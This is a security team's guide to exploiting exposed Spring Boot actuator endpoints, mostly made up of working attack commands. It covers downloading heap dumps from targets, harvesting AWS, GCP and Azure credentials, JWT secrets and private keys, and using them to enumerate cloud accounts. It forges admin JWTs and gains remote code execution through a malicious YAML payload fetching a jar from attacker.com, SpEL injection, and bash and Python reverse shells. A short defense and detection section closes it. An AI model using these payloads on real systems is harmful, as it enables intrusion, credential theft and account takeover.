Heap dumps are snapshots of a Java application's memory at a specific point in time. When exposed through misconfigured endpoints like /actuator/heapdump, they become goldmines for attackers, containing everything from cloud credentials to session tokens.

Discovery & Download

Finding Heap Dump Endpoints

# Common paths
/actuator/heapdump
/heapdump
/dump
/management/heapdump
/api/actuator/heapdump

# Fuzzing with ffuf
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200 -fs 0

# Mass discovery with nuclei
nuclei -u https://target.com -t exposures/apis/spring-actuator.yaml

Downloading Heap Dumps

# Direct download
curl -o heapdump.hprof https://target.com/actuator/heapdump

# With authentication
curl -H "Authorization: Bearer TOKEN" -o heapdump.hprof https://target.com/actuator/heapdump

# Resume interrupted downloads
wget -c https://target.com/actuator/heapdump -O heapdump.hprof

Warning: Heap dumps can be several GB in size. Ensure you have sufficient disk space.

Analysis Tools

String Extraction with strings

# Extract all printable strings
strings heapdump.hprof > heap_strings.txt

# Extract only ASCII strings longer than 20 characters
strings -n 20 heapdump.hprof > heap_strings_long.txt

# Search for specific patterns directly
strings heapdump.hprof | grep -i "password"

Using VisualVM

# Open with VisualVM (GUI)
visualvm --openfile heapdump.hprof

# Analyze from command line
jhat -J-Xmx4G heapdump.hprof
# Then browse to http://localhost:7000

Eclipse Memory Analyzer (MAT)

  1. Download from eclipse.org/mat
  2. Open heap dump: File → Open Heap Dump
  3. Run OQL queries for targeted searches

AWS Credential Extraction

%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart TB
    A[Heap Dump] --> B[Extract Strings]
    B --> C{Search Patterns}
    C --> D[AWS Access Keys]
    C --> E[AWS Secret Keys]
    C --> F[Session Tokens]
    D --> G[Validate Credentials]
    E --> G
    F --> G
    G --> H[Enumerate Permissions]
    H --> I[Lateral Movement]

Figure: AWS credential extraction workflow from heap dumps

AWS Access Key Patterns

# Search for AWS access keys (AKIA*, ASIA*, AIDA*)
grep -aoE 'AKIA[0-9A-Z]{16}' heap_strings.txt
grep -aoE 'ASIA[0-9A-Z]{16}' heap_strings.txt

# Search for AWS secret access keys (40 alphanumeric chars)
grep -aoE '[A-Za-z0-9/+=]{40}' heap_strings.txt

# Combined search with context
grep -B 5 -A 5 'AKIA[0-9A-Z]{16}' heap_strings.txt

AWS-Specific Environment Variables

# Search for common AWS env vars
grep -i 'AWS_ACCESS_KEY_ID' heap_strings.txt
grep -i 'AWS_SECRET_ACCESS_KEY' heap_strings.txt
grep -i 'AWS_SESSION_TOKEN' heap_strings.txt
grep -i 'AWS_SECURITY_TOKEN' heap_strings.txt
grep -i 'AWS_DEFAULT_REGION' heap_strings.txt

# S3 bucket names
grep -aoE '[a-z0-9.-]{3,63}\.s3\.amazonaws\.com' heap_strings.txt
grep -aoE 's3://[a-z0-9.-]{3,63}' heap_strings.txt

# EC2 metadata service calls
grep -i '169.254.169.254' heap_strings.txt

Validation & Testing

# Configure AWS CLI with found credentials
aws configure set aws_access_key_id AKIA...
aws configure set aws_secret_access_key ...

# Test credentials
aws sts get-caller-identity

# Enumerate S3 buckets
aws s3 ls

# Check IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME

GCP Credential Extraction

%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart LR
    A[Heap Dump] --> B[Service Account Keys]
    A --> C[OAuth Tokens]
    A --> D[API Keys]
    B --> E[JSON Key Files]
    C --> F[Access Tokens]
    D --> G[API Validation]
    E --> H[gcloud Auth]
    F --> H
    G --> H
    H --> I[Resource Enumeration]

Figure: GCP credential discovery and validation process

GCP Service Account Keys

# Search for GCP service account JSON structure
grep -B 20 -A 20 '"type": "service_account"' heap_strings.txt
grep -B 20 -A 20 '"project_id"' heap_strings.txt
grep -B 20 -A 20 '"private_key"' heap_strings.txt

# Extract complete JSON service account keys
strings heapdump.hprof | grep -Pzo '(?s)\{[^{}]*"type":\s*"service_account"[^{}]*\}' > gcp_keys.json

# Search for GCP project IDs
grep -aoE '[a-z][a-z0-9-]{4,28}[a-z0-9]' heap_strings.txt | grep -i 'project'

GCP OAuth Tokens

# Search for OAuth 2.0 access tokens
grep -aoE 'ya29\.[0-9A-Za-z_-]+' heap_strings.txt

# Refresh tokens
grep -i 'refresh_token' heap_strings.txt

# Client IDs and secrets
grep -aoE '[0-9]+-[a-z0-9]{32}\.apps\.googleusercontent\.com' heap_strings.txt
grep -i 'client_secret' heap_strings.txt

GCP API Keys

# API key patterns (AIza...)
grep -aoE 'AIza[0-9A-Za-z_-]{35}' heap_strings.txt

# Validate API keys
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29..."
curl "https://maps.googleapis.com/maps/api/staticmap?center=0,0&zoom=1&size=1x1&key=AIza..."

GCP Enumeration Commands

# Authenticate with service account
gcloud auth activate-service-account --key-file=service-account-key.json

# List projects
gcloud projects list

# List compute instances
gcloud compute instances list --project PROJECT_ID

# List storage buckets
gsutil ls

# List IAM policies
gcloud projects get-iam-policy PROJECT_ID

Azure Credential Extraction

%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart LR
    A[Heap Dump] --> B[Service Principals]
    A --> C[Managed Identity Tokens]
    A --> D[Storage Keys]
    B --> E[Client Secrets]
    C --> F[Access Tokens]
    D --> G[Connection Strings]
    E --> H[az login]
    F --> H
    G --> I[Resource Pivot]
    H --> I

Figure: Azure secret discovery leading to authenticated enumeration

Azure Credential Patterns

# Service principal env vars
grep -i 'AZURE_CLIENT_ID' heap_strings.txt
grep -i 'AZURE_TENANT_ID' heap_strings.txt
grep -i 'AZURE_CLIENT_SECRET' heap_strings.txt
grep -i 'AZURE_SUBSCRIPTION_ID' heap_strings.txt

# Connection strings & storage keys
grep -aoE 'DefaultEndpointsProtocol=[^ ]+;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]+' heap_strings.txt
grep -aoE 'SharedAccessSignature=se=[^;]+' heap_strings.txt

# Key Vault references
grep -i 'vault.azure.net' heap_strings.txt

# Azure DevOps PATs
grep -aoE 'azd[A-Za-z0-9]{52}' heap_strings.txt

Managed Identity & OAuth Tokens

# Managed identity metadata hints
grep -i 'MSI_ENDPOINT' heap_strings.txt
grep -i 'msiSecret' heap_strings.txt
grep -i 'Metadata"\s*:\s*"true"' heap_strings.txt

# Azure AD access tokens (JWT)
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' heap_strings.txt | grep -i 'login.microsoftonline.com'

# Refresh tokens
grep -i 'refresh_token' heap_strings.txt | grep -i 'login'

Azure CLI Validation & Enumeration

# Authenticate with recovered service principal
az login --service-principal -u CLIENT_ID -p CLIENT_SECRET --tenant TENANT_ID

# Show current subscription
az account show -o table

# List subscriptions & set target
az account list -o table
az account set --subscription SUBSCRIPTION_ID

# Enumerate resource groups & compute
az group list -o table
az vm list -d -o table

# Dump storage account keys (requires access)
az storage account keys list --account-name ACCOUNT --resource-group RG

# Enumerate Key Vault secrets
az keyvault secret list --vault-name VAULT -o table
az keyvault secret show --vault-name VAULT --name SECRET_NAME

Azure Defender Notes

# Alert on suspicious logins
az monitor metrics list --resource /subscriptions/SUB/resourceGroups/RG/providers/Microsoft.Insights/components/APP --metric requests/count

# Force token revocation (requires access)
az ad app credential reset --id CLIENT_ID

JWT Secret Extraction

%%{init: {'theme':'dark', 'themeVariables': { 'primaryColor': '#0f0f11', 'primaryTextColor': '#e6e6e6', 'lineColor': '#c9c9c9'}}}%%
flowchart TD
    A[Heap Dump] --> B[Search JWT Patterns]
    B --> C[Extract Signing Keys]
    C --> D{Key Type}
    D --> E[HMAC Secret]
    D --> F[RSA Private Key]
    E --> G[Forge JWT Tokens]
    F --> G
    G --> H[Admin Access]
    H --> I[Privilege Escalation]

Figure: JWT secret extraction and token forgery attack path

Finding JWT Secrets

# Search for JWT tokens (header.payload.signature)
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' heap_strings.txt > jwt_tokens.txt

# Search for common JWT secret variable names
grep -i 'jwt.secret' heap_strings.txt
grep -i 'jwt_secret' heap_strings.txt
grep -i 'jwtSecret' heap_strings.txt
grep -i 'token.secret' heap_strings.txt
grep -i 'signing.key' heap_strings.txt
grep -i 'secret.key' heap_strings.txt

# Search for Spring Security JWT config
grep -B 5 -A 5 'JwtBuilder' heap_strings.txt
grep -B 5 -A 5 'SignatureAlgorithm' heap_strings.txt

RSA Private Key Extraction

# Search for RSA private keys
grep -B 1 -A 20 'BEGIN RSA PRIVATE KEY' heap_strings.txt > rsa_keys.txt
grep -B 1 -A 20 'BEGIN PRIVATE KEY' heap_strings.txt >> rsa_keys.txt

# Extract PEM format keys
strings heapdump.hprof | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > private_keys.pem

Forging JWT Tokens

# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool

# Test with found secret
python3 jwt_tool.py TOKEN -S hs256 -p "FOUND_SECRET"

# Forge admin token
python3 jwt_tool.py TOKEN -T -S hs256 -p "FOUND_SECRET" -pc "role" -pv "admin"

# Using Node.js
npm install -g jsonwebtoken
node -e "const jwt = require('jsonwebtoken'); console.log(jwt.sign({sub: 'admin', role: 'admin'}, 'FOUND_SECRET'));"

Spring Boot Actuator RCE

Enumerating Actuator Endpoints

# List all actuator endpoints
curl https://target.com/actuator | jq .

# Common sensitive endpoints
/actuator/env           # Environment variables
/actuator/configprops   # Configuration properties
/actuator/beans         # Application beans
/actuator/heapdump      # Heap dump
/actuator/threaddump    # Thread dump
/actuator/trace         # HTTP traces
/actuator/logfile       # Application logs
/actuator/refresh       # Refresh configuration

Extracting Environment Variables

# Get all environment variables
curl https://target.com/actuator/env | jq . > env.json

# Search for sensitive data
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("password|secret|key|token"; "i"))'

# Extract database credentials
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("datasource"; "i"))'

# Extract cloud credentials
cat env.json | jq '.propertySources[] | .properties | to_entries[] | select(.key | test("aws|gcp|azure"; "i"))'

RCE via /actuator/env + /actuator/refresh

Vulnerable Configuration: Application must have spring-cloud-starter dependency and /actuator/refresh enabled.

Detection

# Check if refresh endpoint exists
curl -X POST https://target.com/actuator/refresh

# Check for spring.cloud.bootstrap.location
curl https://target.com/actuator/env | grep -i "bootstrap.location"

Exploitation Steps

# Step 1: Create malicious configuration file
cat > malicious.yml << 'EOF'
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/evil.jar"]
  ]]
]
EOF

# Step 2: Host the malicious config
python3 -m http.server 8000

# Step 3: Set spring.cloud.bootstrap.location
curl -X POST https://target.com/actuator/env \
  -H 'Content-Type: application/json' \
  -d '{"name":"spring.cloud.bootstrap.location","value":"http://attacker.com/malicious.yml"}'

# Step 4: Trigger configuration reload
curl -X POST https://target.com/actuator/refresh

Alternative: SpEL Injection

# If spring.cloud.bootstrap.location is not available, try SpEL injection
curl -X POST https://target.com/actuator/env \
  -H 'Content-Type: application/json' \
  -d '{"name":"spring.datasource.hikari.connection-test-query","value":"#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/pwned\")}"}'

curl -X POST https://target.com/actuator/refresh

Reverse Shell Payloads

# Bash reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# Java reverse shell (for Runtime.exec())
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}

Automated Enumeration Script

#!/bin/bash
# heapdump_enum.sh - Automated heap dump enumeration

HEAP_FILE=$1
OUTPUT_DIR="heapdump_analysis"

if [ -z "$HEAP_FILE" ]; then
    echo "Usage: $0 <heapdump.hprof>"
    exit 1
fi

mkdir -p "$OUTPUT_DIR"

echo "[*] Extracting strings..."
strings "$HEAP_FILE" > "$OUTPUT_DIR/all_strings.txt"

echo "[*] Searching for AWS credentials..."
grep -aoE 'AKIA[0-9A-Z]{16}' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/aws_access_keys.txt"
grep -aoE 'ASIA[0-9A-Z]{16}' "$OUTPUT_DIR/all_strings.txt" | sort -u >> "$OUTPUT_DIR/aws_access_keys.txt"
grep -i 'AWS_SECRET' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/aws_secrets.txt"

echo "[*] Searching for GCP credentials..."
grep -aoE 'ya29\.[0-9A-Za-z_-]+' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/gcp_tokens.txt"
grep -aoE 'AIza[0-9A-Za-z_-]{35}' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/gcp_api_keys.txt"
grep -B 10 -A 10 '"type": "service_account"' "$OUTPUT_DIR/all_strings.txt" > "$OUTPUT_DIR/gcp_service_accounts.txt"

echo "[*] Searching for Azure credentials..."
grep -i 'AZURE_' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/azure_env.txt"
grep -aoE 'DefaultEndpointsProtocol=[^ ]+;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]+' "$OUTPUT_DIR/all_strings.txt" > "$OUTPUT_DIR/azure_storage.txt"

echo "[*] Searching for JWT tokens..."
grep -aoE 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/jwt_tokens.txt"

echo "[*] Searching for JWT secrets..."
grep -iE 'jwt.?secret|token.?secret|signing.?key' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/jwt_secrets.txt"

echo "[*] Searching for private keys..."
strings "$HEAP_FILE" | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > "$OUTPUT_DIR/private_keys.pem"

echo "[*] Searching for passwords..."
grep -iE 'password|passwd|pwd' "$OUTPUT_DIR/all_strings.txt" | grep -v '^#' | sort -u > "$OUTPUT_DIR/passwords.txt"

echo "[*] Searching for database URLs..."
grep -iE 'jdbc:|mongodb:|postgres:|mysql:|redis:' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/database_urls.txt"

echo "[*] Searching for API endpoints..."
grep -aoE 'https?://[a-zA-Z0-9./?=_%:-]*' "$OUTPUT_DIR/all_strings.txt" | sort -u > "$OUTPUT_DIR/api_endpoints.txt"

echo "[*] Analysis complete. Results in $OUTPUT_DIR/"
echo ""
echo "Summary:"
echo "AWS Access Keys: $(wc -l < "$OUTPUT_DIR/aws_access_keys.txt")"
echo "GCP Tokens: $(wc -l < "$OUTPUT_DIR/gcp_tokens.txt")"
echo "Azure Keys: $(wc -l < "$OUTPUT_DIR/azure_env.txt")"
echo "JWT Tokens: $(wc -l < "$OUTPUT_DIR/jwt_tokens.txt")"
echo "Private Keys: $(grep -c 'BEGIN' "$OUTPUT_DIR/private_keys.pem")"
echo "Database URLs: $(wc -l < "$OUTPUT_DIR/database_urls.txt")"

Usage:

chmod +x heapdump_enum.sh
./heapdump_enum.sh heapdump.hprof

Advanced grep Patterns

# Email addresses
grep -aoE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' heap_strings.txt

# IP addresses (IPv4)
grep -aoE '([0-9]{1,3}\.){3}[0-9]{1,3}' heap_strings.txt

# URLs
grep -aoE '(http|https)://[a-zA-Z0-9./?=_%:-]*' heap_strings.txt

# Credit card numbers (basic pattern)
grep -aoE '[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}' heap_strings.txt

# SSH private keys
grep -B 1 -A 30 'BEGIN OPENSSH PRIVATE KEY' heap_strings.txt

# Base64 encoded data (potential credentials)
grep -aoE '[A-Za-z0-9+/]{40,}={0,2}' heap_strings.txt

# Connection strings
grep -iE 'Server=|Data Source=|Initial Catalog=|User ID=|Password=' heap_strings.txt

# API keys (generic pattern)
grep -aoE '[a-zA-Z0-9_-]{32,}' heap_strings.txt | awk 'length($0)==32 || length($0)==40 || length($0)==64'

# Secrets in Java property format
grep -E '^[a-zA-Z0-9._-]+=.*(secret|password|key|token)' heap_strings.txt -i

Defense & Mitigation

Securing Actuator Endpoints

# application.yml
management:
  endpoints:
    web:
      exposure:
        include: health,info
        exclude: heapdump,threaddump,env,configprops
  endpoint:
    health:
      show-details: when-authorized

# Or disable entirely
management:
  endpoints:
    enabled-by-default: false

Authentication Requirements

# Spring Security configuration
management:
  endpoints:
    web:
      base-path: /management
security:
  user:
    name: admin
    password: ${ADMIN_PASSWORD}

Network Restrictions

# Nginx config - restrict to internal network
location /actuator/ {
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://backend;
}

Best Practices

PracticeDescription
Disable sensitive endpointsNever expose heapdump, threaddump, env in production
Require authenticationUse Spring Security or external auth for actuator endpoints
Network segmentationRestrict access to management endpoints via firewall
Encrypt sensitive dataUse encrypted properties for secrets in configuration
Use secrets managersStore credentials in AWS Secrets Manager, GCP Secret Manager
Regular auditsMonitor access logs for unauthorized actuator requests
Update dependenciesKeep Spring Boot and dependencies patched

Detection & Monitoring

# Monitor access logs for heap dump downloads
grep "GET /actuator/heapdump" access.log | awk '{print $1}' | sort | uniq -c

# Alert on large file downloads
awk '$10 > 100000000 {print $0}' access.log

# Detect actuator enumeration
grep -E "/actuator/(env|heapdump|threaddump|beans)" access.log

References


By PlaidNox Security Team
Originally published Nov 2025